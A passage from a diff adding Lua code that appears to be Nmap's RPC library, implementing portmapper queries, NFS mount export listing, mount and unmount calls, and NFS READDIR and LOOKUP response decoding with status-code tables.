+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if ( not(status) ) then
+ return false, "Portmap.Dump: Failed to call GetAdditionalBytes"
+ end
+ vfollows, pos = string.unpack(">I4", data, pos)
+ if ( vfollows == 0 ) then
+ break
+ end
+
+ program, version, pos = string.unpack(">I4 I4", data, pos)
+ local addr, owner
+ if comm.version > 2 then
+ local len
+ len, pos = string.unpack(">I4", data, pos)
+ pos, protocol = Util.unmarshall_vopaque(len, data, pos)
+ -- workaround for NetApp 5.0: trim trailing null bytes
+ protocol = protocol:match("[^\0]*")
+ len, pos = string.unpack(">I4", data, pos)
+ pos, addr = Util.unmarshall_vopaque(len, data, pos)
+ len, pos = string.unpack(">I4", data, pos)
+ pos, owner = Util.unmarshall_vopaque(len, data, pos)
+ if protocol:match("^[tu][cd]p6?$") then
+ -- RFC 5665
+ local upper, lower
+ addr, upper, lower = addr:match("^(.-)%.(%d+)%.(%d+)$")
+ if addr then
+ port = tonumber(upper) * 0x100 + tonumber(lower)
+ end
+ end
+ else
+ protocol, port, pos = string.unpack(">I4 I4", data, pos)
+ if ( protocol == Portmap.PROTOCOLS.tcp ) then
+ protocol = "tcp"
+ elseif ( protocol == Portmap.PROTOCOLS.udp ) then
+ protocol = "udp"
+ end
+ end
+
+ program_table[program] = program_table[program] or {}
+ program_table[program][protocol] = program_table[program][protocol] or {}
+ program_table[program][protocol]["port"] = port
+ program_table[program][protocol]["addr"] = addr
+ program_table[program][protocol]["owner"] = owner
+ program_table[program][protocol]["version"] = program_table[program][protocol]["version"] or {}
+ table.insert( program_table[program][protocol]["version"], version )
+ -- parts of the code rely on versions being in order
+ -- this way the highest version can be chosen by choosing the last element
+ table.sort( program_table[program][protocol]["version"] )
+ end
+
+ nmap.registry[comm.ip]['portmapper'] = program_table
+ return true, nmap.registry[comm.ip]['portmapper']
+ end,
+
+ --- Calls the portmap callit call and returns the raw response
+ --
+ -- @param comm object handles rpc program information and
+ -- low-level packet manipulation
+ -- @param program string name of the program
+ -- @param protocol string containing either "tcp" or "udp"
+ -- @param version number containing the version of the queried program
+ -- @return status true on success, false on failure
+ -- @return data string containing the raw response
+ Callit = function( self, comm, program, protocol, version )
+ if ( not( Portmap.PROTOCOLS[protocol] ) ) then
+ return false, ("Portmap.Callit: Protocol %s not supported"):format(protocol)
+ end
+
+ if ( Util.ProgNameToNumber(program) == nil ) then
+ return false, ("Portmap.Callit: Unknown program name: %s"):format(program)
+ end
+
+ local data = string.pack(">I4 I4 I4 I4", Util.ProgNameToNumber(program), version, 0, 0 )
+ local packet = comm:EncodePacket(nil, Portmap.Procedure[comm.version].CALLIT,
+ { type=Portmap.AuthType.NULL }, data )
+
+ if (not(comm:SendPacket(packet))) then
+ return false, "Portmap.Callit: Failed to send data"
+ end
+
+ data = ""
+ local status, data = comm:ReceivePacket()
+ if ( not(status) ) then
+ return false, "Portmap.Callit: Failed to read data from socket"
+ end
+
+ local pos, header = comm:DecodeHeader( data, 1 )
+ if ( not(header) ) then
+ return false, "Portmap.Callit: Failed to decode RPC header"
+ end
+
+ if header.type ~= Portmap.MessageType.REPLY then
+ return false, "Portmap.Callit: Packet was not a reply"
+ end
+
+ return true, data
+ end,
+
+
+ --- Queries the portmapper for the port of the selected program,
+ -- protocol and version
+ --
+ -- @param comm object handles rpc program information and
+ -- low-level packet manipulation
+ -- @param program string name of the program
+ -- @param protocol string containing either "tcp" or "udp"
+ -- @param version number containing the version of the queried program
+ -- @return number containing the port number
+ GetPort = function( self, comm, program, protocol, version )
+ local status, data, response, header, pos, packet
+ local xid
+
+ if ( not( Portmap.PROTOCOLS[protocol] ) ) then
+ return false, ("Portmap.GetPort: Protocol %s not supported"):format(protocol)
+ end
+
+ if ( Util.ProgNameToNumber(program) == nil ) then
+ return false, ("Portmap.GetPort: Unknown program name: %s"):format(program)
+ end
+
+ data = string.pack(">I4 I4 I4 I4", Util.ProgNameToNumber(program), version,
+ Portmap.PROTOCOLS[protocol], 0 )
+ packet = comm:EncodePacket(xid, Portmap.Procedure[comm.version].GETPORT,
+ { type=Portmap.AuthType.NULL }, data )
+
+ if (not(comm:SendPacket(packet))) then
+ return false, "Portmap.GetPort: Failed to send data"
+ end
+
+ data = ""
+ status, data = comm:ReceivePacket()
+ if ( not(status) ) then
+ return false, "Portmap.GetPort: Failed to read data from socket"
+ end
+
+ pos, header = comm:DecodeHeader( data, 1 )
+
+ if ( not(header) ) then
+ return false, "Portmap.GetPort: Failed to decode RPC header"
+ end
+
+ if header.type ~= Portmap.MessageType.REPLY then
+ return false, "Portmap.GetPort: Packet was not a reply"
+ end
+
+ if header.state ~= Portmap.State.MSG_ACCEPTED then
+ if (Portmap.RejectMsg[header.denied_state]) then
+ return false, string.format("Portmap.GetPort: RPC call failed: %s",
+ Portmap.RejectMsg[header.denied_state])
+ else
+ return false,
+ string.format("Portmap.GetPort: RPC call failed: code %d",
+ header.state)
+ end
+ end
+
+ if header.accept_state ~= Portmap.AcceptState.SUCCESS then
+ if (Portmap.AcceptMsg[header.accept_state]) then
+ return false, string.format("Portmap.GetPort: RPC accepted state: %s",
+ Portmap.AcceptMsg[header.accept_state])
+ else
+ return false, string.format("Portmap.GetPort: RPC accepted state code %d",
+ header.accept_state)
+ end
+ end
+
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if ( not(status) ) then
+ return false, "Portmap.GetPort: Failed to call GetAdditionalBytes"
+ end
+
+ return true, string.unpack(">I4", data, pos)
+ end,
+
+}
+
+--- Mount class handling communication with the mountd program
+--
+-- Currently supports versions 1 through 3
+-- Can be called either directly or through the static Helper class
+--
+Mount = {
+
+ StatMsg = {
+ [1] = "Not owner.",
+ [2] = "No such file or directory.",
+ [5] = "I/O error.",
+ [13] = "Permission denied.",
+ [20] = "Not a directory.",
+ [22] = "Invalid argument.",
+ [63] = "Filename too long.",
+ [10004] = "Operation not supported.",
+ [10006] = "A failure on the server.",
+ },
+
+ StatCode = {
+ MNT_OK = 0,
+ MNTERR_PERM = 1,
+ MNTERR_NOENT = 2,
+ MNTERR_IO = 5,
+ MNTERR_ACCES = 13,
+ MNTERR_NOTDIR = 20,
+ MNTERR_INVAL = 22,
+ MNTERR_NAMETOOLONG = 63,
+ MNTERR_NOTSUPP = 10004,
+ MNTERR_SERVERFAULT = 10006,
+ },
+
+ Procedure =
+ {
+ MOUNT = 1,
+ DUMP = 2,
+ UMNT = 3,
+ UMNTALL = 4,
+ EXPORT = 5,
+ },
+
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Requests a list of NFS export from the remote server
+ --
+ -- @param comm object handles rpc program information and
+ -- low-level packet manipulation
+ -- @return status success or failure
+ -- @return entries table containing a list of share names (strings)
+ Export = function(self, comm)
+ local msg_type = 0
+ local packet
+ local pos = 1
+ local header = {}
+ local entries = {}
+ local data = ""
+ local status
+
+ if comm.proto ~= "tcp" and comm.proto ~= "udp" then
+ return false, "Mount.Export: Protocol should be either udp or tcp"
+ end
+
+ packet = comm:EncodePacket(nil, Mount.Procedure.EXPORT,
+ { type=Portmap.AuthType.UNIX }, nil )
+ if (not(comm:SendPacket( packet ))) then
+ return false, "Mount.Export: Failed to send data"
+ end
+
+ status, data = comm:ReceivePacket()
+ if ( not(status) ) then
+ return false, "Mount.Export: Failed to read data from socket"
+ end
+
+ -- make sure we have at least 24 bytes to unpack the header
+ status, data = comm:GetAdditionalBytes( data, pos, 24 )
+ if (not(status)) then
+ return false, "Mount.Export: Failed to call GetAdditionalBytes"
+ end
+ pos, header = comm:DecodeHeader( data, pos )
+ if not header then
+ return false, "Mount.Export: Failed to decode header"
+ end
+
+ if header.type ~= Portmap.MessageType.REPLY then
+ return false, "Mount.Export: packet was not a reply"
+ end
+
+ if header.state ~= Portmap.State.MSG_ACCEPTED then
+ if (Portmap.RejectMsg[header.denied_state]) then
+ return false, string.format("Mount.Export: RPC call failed: %s",
+ Portmap.RejectMsg[header.denied_state])
+ else
+ return false, string.format("Mount.Export: RPC call failed: code %d",
+ header.state)
+ end
+ end
+
+ if header.accept_state ~= Portmap.AcceptState.SUCCESS then
+ if (Portmap.AcceptMsg[header.accept_state]) then
+ return false, string.format("Mount.Export: RPC accepted state: %s",
+ Portmap.AcceptMsg[header.accept_state])
+ else
+ return false, string.format("Mount.Export: RPC accepted state code %d",
+ header.accept_state)
+ end
+ end
+
+ -- Decode directory entries
+ --
+ -- [entry]
+ -- 4 bytes - value follows (1 if more data, 0 if not)
+ -- [Directory]
+ -- 4 bytes - value len
+ -- len bytes - directory name
+ -- ? bytes - fill bytes (see calcFillByte)
+ -- [Groups]
+ -- 4 bytes - value follows (1 if more data, 0 if not)
+ -- [Group] (1 or more)
+ -- 4 bytes - group len
+ -- len bytes - group value
+ -- ? bytes - fill bytes (see calcFillByte)
+ while true do
+ -- make sure we have atleast 4 more bytes to check for value follows
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if (not(status)) then
+ return false, "Mount.Export: Failed to call GetAdditionalBytes"
+ end
+
+ local data_follows
+ pos, data_follows = Util.unmarshall_uint32(data, pos)
+
+ if data_follows ~= 1 then
+ break
+ end
+
+ --- Export list entry starts here
+ local entry = {}
+ local len
+
+ -- make sure we have atleast 4 more bytes to get the length
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if (not(status)) then
+ return false, "Mount.Export: Failed to call GetAdditionalBytes"
+ end
+ pos, len = Util.unmarshall_uint32(data, pos)
+
+ status, data = comm:GetAdditionalBytes( data, pos, len )
+ if (not(status)) then
+ return false, "Mount.Export: Failed to call GetAdditionalBytes"
+ end
+ pos, entry.name = Util.unmarshall_vopaque(len, data, pos)
+
+ -- decode groups
+ while true do
+ local group
+
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if (not(status)) then
+ return false, "Mount.Export: Failed to call GetAdditionalBytes"
+ end
+ pos, data_follows = Util.unmarshall_uint32(data, pos)
+
+ if data_follows ~= 1 then
+ break
+ end
+
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if (not(status)) then
+ return false, "Mount.Export: Failed to call GetAdditionalBytes"
+ end
+
+ pos, len = Util.unmarshall_uint32(data, pos)
+ status, data = comm:GetAdditionalBytes( data, pos, len )
+ if (not(status)) then
+ return false, "Mount.Export: Failed to call GetAdditionalBytes"
+ end
+ pos, group = Util.unmarshall_vopaque(len, data, pos)
+ table.insert( entry, group )
+ end
+ table.insert(entries, entry)
+ end
+ return true, entries
+ end,
+
+ --- Attempts to mount a remote export in order to get the filehandle
+ --
+ -- @param comm object handles rpc program information and
+ -- low-level packet manipulation
+ -- @param path string containing the path to mount
+ -- @return status success or failure
+ -- @return fhandle string containing the filehandle of the remote export
+ Mount = function(self, comm, path)
+ local packet, mount_status
+ local status, len
+
+ local data = Util.marshall_vopaque(path)
+
+ packet = comm:EncodePacket( nil, Mount.Procedure.MOUNT, { type=Portmap.AuthType.UNIX }, data )
+ if (not(comm:SendPacket(packet))) then
+ return false, "Mount: Failed to send data"
+ end
+
+ status, data = comm:ReceivePacket()
+ if ( not(status) ) then
+ return false, "Mount: Failed to read data from socket"
+ end
+
+ local pos, header = comm:DecodeHeader(data)
+ if not header then
+ return false, "Mount: Failed to decode header"
+ end
+
+ if header.type ~= Portmap.MessageType.REPLY then
+ return false, "Mount: Packet was not a reply"
+ end
+
+ if header.state ~= Portmap.State.MSG_ACCEPTED then
+ if (Portmap.RejectMsg[header.denied_state]) then
+ return false, string.format("Mount: RPC call failed: %s",
+ Portmap.RejectMsg[header.denied_state])
+ else
+ return false, string.format("Mount: RPC call failed: code %d",
+ header.state)
+ end
+ end
+
+ if header.accept_state ~= Portmap.AcceptState.SUCCESS then
+ if (Portmap.AcceptMsg[header.accept_state]) then
+ return false, string.format("Mount (%s): RPC accepted state: %s",
+ path, Portmap.AcceptMsg[header.accept_state])
+ else
+ return false, string.format("Mount (%s): RPC accepted state code %d",
+ path, header.accept_state)
+ end
+ end
+
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if (not(status)) then
+ return false, "Mount: Failed to call GetAdditionalBytes"
+ end
+ pos, mount_status = Util.unmarshall_uint32(data, pos)
+
+ if (mount_status ~= Mount.StatCode.MNT_OK) then
+ if (Mount.StatMsg[mount_status]) then
+ return false, string.format("Mount failed: %s",Mount.StatMsg[mount_status])
+ else
+ return false, string.format("Mount failed: code %d", mount_status)
+ end
+ end
+
+ local fhandle
+ if ( comm.version == 3 ) then
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if (not(status)) then
+ return false, "Mount: Failed to call GetAdditionalBytes"
+ end
+ len = string.unpack(">I4", data, pos)
+ status, data = comm:GetAdditionalBytes( data, pos, len + 4 )
+ if (not(status)) then
+ return false, "Mount: Failed to call GetAdditionalBytes"
+ end
+ fhandle, pos = string.unpack( "c" .. len + 4, data, pos )
+ elseif ( comm.version < 3 ) then
+ status, data = comm:GetAdditionalBytes( data, pos, 32 )
+ if (not(status)) then
+ return false, "Mount: Failed to call GetAdditionalBytes"
+ end
+ fhandle, pos = string.unpack( "c32", data, pos )
+ else
+ return false, "Mount failed"
+ end
+
+ return true, fhandle
+ end,
+
+ --- Attempts to unmount a remote export in order to get the filehandle
+ --
+ -- @param comm object handles rpc program information and
+ -- low-level packet manipulation
+ -- @param path string containing the path to mount
+ -- @return status success or failure
+ -- @return error string containing error if status is false
+ Unmount = function(self, comm, path)
+ local packet, status
+ local _, pos, data, header, fhandle = "", 1, "", "", {}
+
+ data = Util.marshall_vopaque(path)
+
+ packet = comm:EncodePacket( nil, Mount.Procedure.UMNT, { type=Portmap.AuthType.UNIX }, data )
+ if (not(comm:SendPacket(packet))) then
+ return false, "Unmount: Failed to send data"
+ end
+
+ status, data = comm:ReceivePacket( )
+ if ( not(status) ) then
+ return false, "Unmount: Failed to read data from socket"
+ end
+
+ pos, header = comm:DecodeHeader( data, pos )
+ if not header then
+ return false, "Unmount: Failed to decode header"
+ end
+
+ if header.type ~= Portmap.MessageType.REPLY then
+ return false, "Unmount: Packet was not a reply"
+ end
+
+ if header.state ~= Portmap.State.MSG_ACCEPTED then
+ if (Portmap.RejectMsg[header.denied_state]) then
+ return false, string.format("Unmount: RPC call failed: %s",
+ Portmap.RejectMsg[header.denied_state])
+ else
+ return false, string.format("Unmount: RPC call failed: code %d",
+ header.state)
+ end
+ end
+
+ if header.accept_state ~= Portmap.AcceptState.SUCCESS then
+ if (Portmap.AcceptMsg[header.accept_state]) then
+ return false, string.format("Unmount (%s): RPC accepted state: %s",
+ path, Portmap.AcceptMsg[header.accept_state])
+ else
+ return false, string.format("Unmount (%s): RPC accepted state code %d",
+ path, header.accept_state)
+ end
+ end
+
+ return true, ""
+ end,
+}
+
+--- NFS class handling communication with the nfsd program
+--
+-- Currently supports versions 1 through 3
+-- Can be called either directly or through the static Helper class
+--
+NFS = {
+
+ -- NFS error msg v2 and v3
+ StatMsg = {
+ [1] = "Not owner.",
+ [2] = "No such file or directory.",
+ [5] = "I/O error.",
+ [6] = "I/O error. No such device or address.",
+ [13] = "Permission denied.",
+ [17] = "File exists.",
+ [18] = "Attempt to do a cross-device hard link.",
+ [19] = "No such device.",
+ [20] = "Not a directory.",
+ [21] = "Is a directory.",
+ [22] = "Invalid argument or unsupported argument for an operation.",
+ [27] = "File too large.",
+ [28] = "No space left on device.",
+ [30] = "Read-only file system.",
+ [31] = "Too many hard links.",
+ [63] = "The filename in an operation was too long.",
+ [66] = "An attempt was made to remove a directory that was not empty.",
+ [69] = "Resource (quota) hard limit exceeded.",
+ [70] = "Invalid file handle.",
+ [71] = "Too many levels of remote in path.",
+ [99] = "The server's write cache used in the \"WRITECACHE\" call got flushed to disk.",
+ [10001] = "Illegal NFS file handle.",
+ [10002] = "Update synchronization mismatch was detected during a SETATTR operation.",
+ [10003] = "READDIR or READDIRPLUS cookie is stale.",
+ [10004] = "Operation is not supported.",
+ [10005] = "Buffer or request is too small.",
+ [10006] = "An error occurred on the server which does not map to any of the legal NFS version 3 protocol error values.",
+ [10007] = "An attempt was made to create an object of a type not supported by the server.",
+ [10008] = "The server initiated the request, but was not able to complete it in a timely fashion.",
+ },
+
+ StatCode = {
+ -- NFS Version 1
+ [1] = {
+ NFS_OK = 0,
+ NFSERR_PERM = 1,
+ NFSERR_NOENT = 2,
+ NFSERR_IO = 5,
+ NFSERR_NXIO = 6,
+ NFSERR_ACCES = 13,
+ NFSERR_EXIST = 17,
+ NFSERR_NODEV = 19,
+ NFSERR_NOTDIR = 20,
+ NFSERR_ISDIR = 21,
+ NFSERR_FBIG = 27,
+ NFSERR_NOSPC = 28,
+ NFSERR_ROFS = 30,
+ NFSERR_NAMETOOLONG = 63,
+ NFSERR_NOTEMPTY = 66,
+ NFSERR_DQUOT = 69,
+ NFSERR_STALE = 70,
+ NFSERR_WFLUSH = 99,
+ },
+
+ -- NFS Version 2
+ [2] = {
+ NFS_OK = 0,
+ NFSERR_PERM = 1,
+ NFSERR_NOENT = 2,
+ NFSERR_IO = 5,
+ NFSERR_NXIO = 6,
+ NFSERR_ACCES = 13,
+ NFSERR_EXIST = 17,
+ NFSERR_NODEV = 19,
+ NFSERR_NOTDIR = 20,
+ NFSERR_ISDIR = 21,
+ NFSERR_FBIG = 27,
+ NFSERR_NOSPC = 28,
+ NFSERR_ROFS = 30,
+ NFSERR_NAMETOOLONG = 63,
+ NFSERR_NOTEMPTY = 66,
+ NFSERR_DQUOT = 69,
+ NFSERR_STALE = 70,
+ NFSERR_WFLUSH = 99,
+ },
+
+ -- NFS Version 3
+ [3] = {
+ NFS_OK = 0,
+ NFSERR_PERM = 1,
+ NFSERR_NOENT = 2,
+ NFSERR_IO = 5,
+ NFSERR_NXIO = 6,
+ NFSERR_ACCES = 13,
+ NFSERR_EXIST = 17,
+ NFSERR_XDEV = 18,
+ NFSERR_NODEV = 19,
+ NFSERR_NOTDIR = 20,
+ NFSERR_ISDIR = 21,
+ NFSERR_INVAL = 22,
+ NFSERR_FBIG = 27,
+ NFSERR_NOSPC = 28,
+ NFSERR_ROFS = 30,
+ NFSERR_MLINK = 31,
+ NFSERR_NAMETOOLONG = 63,
+ NFSERR_NOTEMPTY = 66,
+ NFSERR_DQUOT = 69,
+ NFSERR_STALE = 70,
+ NFSERR_REMOTE = 71,
+ NFSERR_BADHANDLE = 10001,
+ NFSERR_NOT_SYNC = 10002,
+ NFSERR_BAD_COOKIE = 10003,
+ NFSERR_NOTSUPP = 10004,
+ NFSERR_TOOSMALL = 10005,
+ NFSERR_SERVERFAULT = 10006,
+ NFSERR_BADTYPE = 10007,
+ NFSERR_JUKEBOX = 10008,
+ },
+ },
+
+ -- Unfortunately the NFS procedure numbers differ in between versions
+ Procedure =
+ {
+ -- NFS Version 1
+ [1] =
+ {
+ GETATTR = 1,
+ ROOT = 3,
+ LOOKUP = 4,
+ EXPORT = 5,
+ READDIR = 16,
+ STATFS = 17,
+ },
+
+ -- NFS Version 2
+ [2] =
+ {
+ GETATTR = 1,
+ ROOT = 3,
+ LOOKUP = 4,
+ EXPORT = 5,
+ READDIR = 16,
+ STATFS = 17,
+ },
+
+ -- NFS Version 3
+ [3] =
+ {
+ GETATTR = 1,
+ SETATTR = 2,
+ LOOKUP = 3,
+ ACCESS = 4,
+ EXPORT = 5,
+ READDIR = 16,
+ READDIRPLUS = 17,
+ FSSTAT = 18,
+ FSINFO = 19,
+ PATHCONF = 20,
+ COMMIT = 21,
+ },
+ },
+
+ -- ACCESS values used to check the bit mask.
+ AccessBits =
+ {
+ [3] =
+ {
+ ACCESS_READ = 0x0001,
+ ACCESS_LOOKUP = 0x0002,
+ ACCESS_MODIFY = 0x0004,
+ ACCESS_EXTEND = 0x0008,
+ ACCESS_DELETE = 0x0010,
+ ACCESS_EXECUTE = 0x0020,
+ },
+ },
+
+ FSinfoBits =
+ {
+ [3] =
+ {
+ FSF_LINK = 0x0001,
+ FSF_SYMLINK = 0x0002,
+ FSF_HOMOGENEOUS = 0x0008,
+ FSF_CANSETTIME = 0x0010,
+ },
+ },
+
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ CheckStat = function (self, procedurename, version, status)
+ if (status ~= NFS.StatCode[version].NFS_OK) then
+ if (NFS.StatMsg[status]) then
+ stdnse.debug4(
+ string.format("%s failed: %s", procedurename, NFS.StatMsg[status]))
+ else
+ stdnse.debug4(
+ string.format("%s failed: code %d", procedurename, status))
+ end
+
+ return false
+ end
+
+ return true
+ end,
+
+ AccessRead = function (self, mask, version)
+ return (mask & NFS.AccessBits[version].ACCESS_READ)
+ end,
+
+ AccessLookup = function (self, mask, version)
+ return (mask & NFS.AccessBits[version].ACCESS_LOOKUP)
+ end,
+
+ AccessModify = function (self, mask, version)
+ return (mask & NFS.AccessBits[version].ACCESS_MODIFY)
+ end,
+
+ AccessExtend = function (self, mask, version)
+ return (mask & NFS.AccessBits[version].ACCESS_EXTEND)
+ end,
+
+ AccessDelete = function (self, mask, version)
+ return (mask & NFS.AccessBits[version].ACCESS_DELETE)
+ end,
+
+ AccessExecute = function (self, mask, version)
+ return (mask & NFS.AccessBits[version].ACCESS_EXECUTE)
+ end,
+
+ FSinfoLink = function(self, mask, version)
+ return (mask & NFS.FSinfoBits[version].FSF_LINK)
+ end,
+
+ FSinfoSymlink = function(self, mask, version)
+ return (mask & NFS.FSinfoBits[version].FSF_SYMLINK)
+ end,
+
+ FSinfoHomogeneous = function(self, mask, version)
+ return (mask & NFS.FSinfoBits[version].FSF_HOMOGENEOUS)
+ end,
+
+ FSinfoCansettime = function(self, mask, version)
+ return (mask & NFS.FSinfoBits[version].FSF_CANSETTIME)
+ end,
+
+ --- Decodes the READDIR section of a NFS ReadDir response
+ --
+ -- @param comm object handles rpc program information and
+ -- low-level packet manipulation
+ -- @param data string containing the buffer of bytes read so far
+ -- @param pos number containing the current offset into data
+ -- @return pos number containing the offset after the decoding
+ -- @return entries table containing two table entries <code>attributes</code>
+ -- and <code>entries</code>. The attributes entry is only present when
+ -- using NFS version 3. The <code>entries</code> field contain one
+ -- table for each file/directory entry. It has the following fields
+ -- <code>file_id</code>, <code>name</code> and <code>cookie</code>
+ --
+ ReadDirDecode = function( self, comm, data, pos )
+ local response = {}
+ local value_follows
+ local status, _
+
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if (not(status)) then
+ stdnse.debug4("NFS.ReadDirDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, status = Util.unmarshall_uint32(data, pos)
+ if (not self:CheckStat("READDIR", comm.version, status)) then
+ return -1, nil
+ end
+
+ if ( 3 == comm.version ) then
+ local attrib = {}
+ response.attributes = {}
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if (not(status)) then
+ stdnse.debug4("NFS.ReadDirDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, value_follows = Util.unmarshall_uint32(data, pos)
+ if value_follows == 0 then
+ return -1, nil
+ end
+ status, data = comm:GetAdditionalBytes( data, pos, 84 )
+ if (not(status)) then
+ stdnse.debug4("NFS.ReadDirDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ pos, attrib = Util.unmarshall_nfsattr(data, pos, comm.version)
+ table.insert(response.attributes, attrib)
+ -- opaque data
+ status, data = comm:GetAdditionalBytes( data, pos, 8 )
+ if (not(status)) then
+ stdnse.debug4("NFS.ReadDirDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ _, pos = string.unpack(">I8", data, pos)
+ end
+
+ response.entries = {}
+ while true do
+ local entry = {}
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if (not(status)) then
+ stdnse.debug4("NFS.ReadDirDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, value_follows = Util.unmarshall_uint32(data, pos)
+ if ( value_follows == 0 ) then
+ break
+ end
+
+ if ( 3 == comm.version ) then
+ status, data = comm:GetAdditionalBytes( data, pos, 8 )
+ if (not(status)) then
+ stdnse.debug4("NFS.ReadDirDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ pos, entry.fileid = Util.unmarshall_uint64(data, pos )
+ else
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if (not(status)) then
+ stdnse.debug4("NFS.ReadDirDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ pos, entry.fileid = Util.unmarshall_uint32(data, pos)
+ end
+
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if (not(status)) then
+ stdnse.debug4("NFS.ReadDirDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, entry.length = Util.unmarshall_uint32(data, pos)
+ status, data = comm:GetAdditionalBytes( data, pos, entry.length )
+ if (not(status)) then
+ stdnse.debug4("NFS.ReadDirDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, entry.name = Util.unmarshall_vopaque(entry.length, data, pos)
+ if ( 3 == comm.version ) then
+ status, data = comm:GetAdditionalBytes( data, pos, 8 )
+ if (not(status)) then
+ stdnse.debug4("NFS.ReadDirDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ pos, entry.cookie = Util.unmarshall_uint64(data, pos)
+ else
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if (not(status)) then
+ stdnse.debug4("NFS.ReadDirDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ pos, entry.cookie = Util.unmarshall_uint32(data, pos)
+ end
+ table.insert( response.entries, entry )
+ end
+ return pos, response
+ end,
+
+ --- Reads the contents inside a NFS directory
+ --
+ -- @param comm object handles rpc program information and
+ -- low-level packet manipulation
+ -- @param file_handle string containing the filehandle to query
+ -- @return status true on success, false on failure
+ -- @return table of file table entries as described in <code>decodeReadDir</code>
+ ReadDir = function( self, comm, file_handle )
+ local status, packet
+ local cookie, count = 0, 8192
+ local pos, data, _ = 1, "", ""
+ local header, response = {}, {}
+
+ if ( not(file_handle) ) then
+ return false, "ReadDir: No filehandle received"
+ end
+
+ if ( comm.version == 3 ) then
+ local opaque_data = 0
+ data = file_handle .. string.pack(">I8 I8 I4", cookie, opaque_data, count)
+ else
+ data = file_handle .. string.pack(">I4 I4", cookie, count)
+ end
+ packet = comm:EncodePacket( nil, NFS.Procedure[comm.version].READDIR,
+ { type=Portmap.AuthType.UNIX }, data )
+ if(not(comm:SendPacket( packet ))) then
+ return false, "ReadDir: Failed to send data"
+ end
+
+ status, data = comm:ReceivePacket()
+ if ( not(status) ) then
+ return false, "ReadDir: Failed to read data from socket"
+ end
+
+ pos, header = comm:DecodeHeader( data, pos )
+ if not header then
+ return false, "ReadDir: Failed to decode header"
+ end
+ pos, response = self:ReadDirDecode( comm, data, pos )
+ if (not(response)) then
+ return false, "ReadDir: Failed to decode the READDIR section"
+ end
+ return true, response
+ end,
+
+ LookUpDecode = function(self, comm, data, pos)
+ local lookup, status, len, value_follows, _ = {}
+
+ status, data = comm:GetAdditionalBytes(data, pos, 4)
+ if not status then
+ stdnse.debug4("NFS.LookUpDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, status = Util.unmarshall_uint32(data, pos)
+ if (not self:CheckStat("LOOKUP", comm.version, status)) then
+ return -1, nil
+ end
+
+ if (comm.version == 3) then
+ status, data = comm:GetAdditionalBytes( data, pos, 4)
+ if (not(status)) then
+ stdnse.debug4("NFS.LookUpDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ _, len = Util.unmarshall_uint32(data, pos)
+ status, data = comm:GetAdditionalBytes( data, pos, len + 4)
+ if (not(status)) then
+ stdnse.debug4("NFS.LookUpDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ lookup.fhandle, pos = string.unpack( "c" .. len + 4, data, pos)
+
+ status, data = comm:GetAdditionalBytes( data, pos, 4)
+ if (not(status)) then
+ stdnse.debug4("NFS.LookUpDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ lookup.attributes = {}
+ pos, value_follows = Util.unmarshall_uint32(data, pos)
+ if (value_follows ~= 0) then
+ status, data = comm:GetAdditionalBytes(data, pos, 84)
+ if (not(status)) then
+ stdnse.debug4("NFS.LookUpDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ pos, lookup.attributes = Util.unmarshall_nfsattr(data, pos, comm.version)
+ else
+ stdnse.debug4("NFS.LookUpDecode: File Attributes follow failed")
+ end
+
+ status, data = comm:GetAdditionalBytes( data, pos, 4)
+ if (not(status)) then
+ stdnse.debug4("NFS.LookUpDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ lookup.dir_attributes = {}
+ pos, value_follows = Util.unmarshall_uint32(data, pos)
+ if (value_follows ~= 0) then
+ status, data = comm:GetAdditionalBytes(data, pos, 84)
+ if (not(status)) then
+ stdnse.debug4("NFS.LookUpDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ pos, lookup.dir_attributes = Util.unmarshall_nfsattr(data, pos, comm.version)
+ else
+ stdnse.debug4("NFS.LookUpDecode: File Attributes follow failed")
+ end
+
+ elseif (comm.version < 3) then
+ status, data = comm:GetAdditionalBytes( data, pos, 32)
+ if (not(status)) then
+ stdnse.debug4("NFS.LookUpDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ lookup.fhandle, pos = string.unpack("c32", data, pos)
+ status, data = comm:GetAdditionalBytes( data, pos, 64 )
+ if (not(status)) then
+ stdnse.debug4("NFS.LookUpDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ pos, lookup.attributes = Util.unmarshall_nfsattr(data, pos, comm.version)
+
+ else
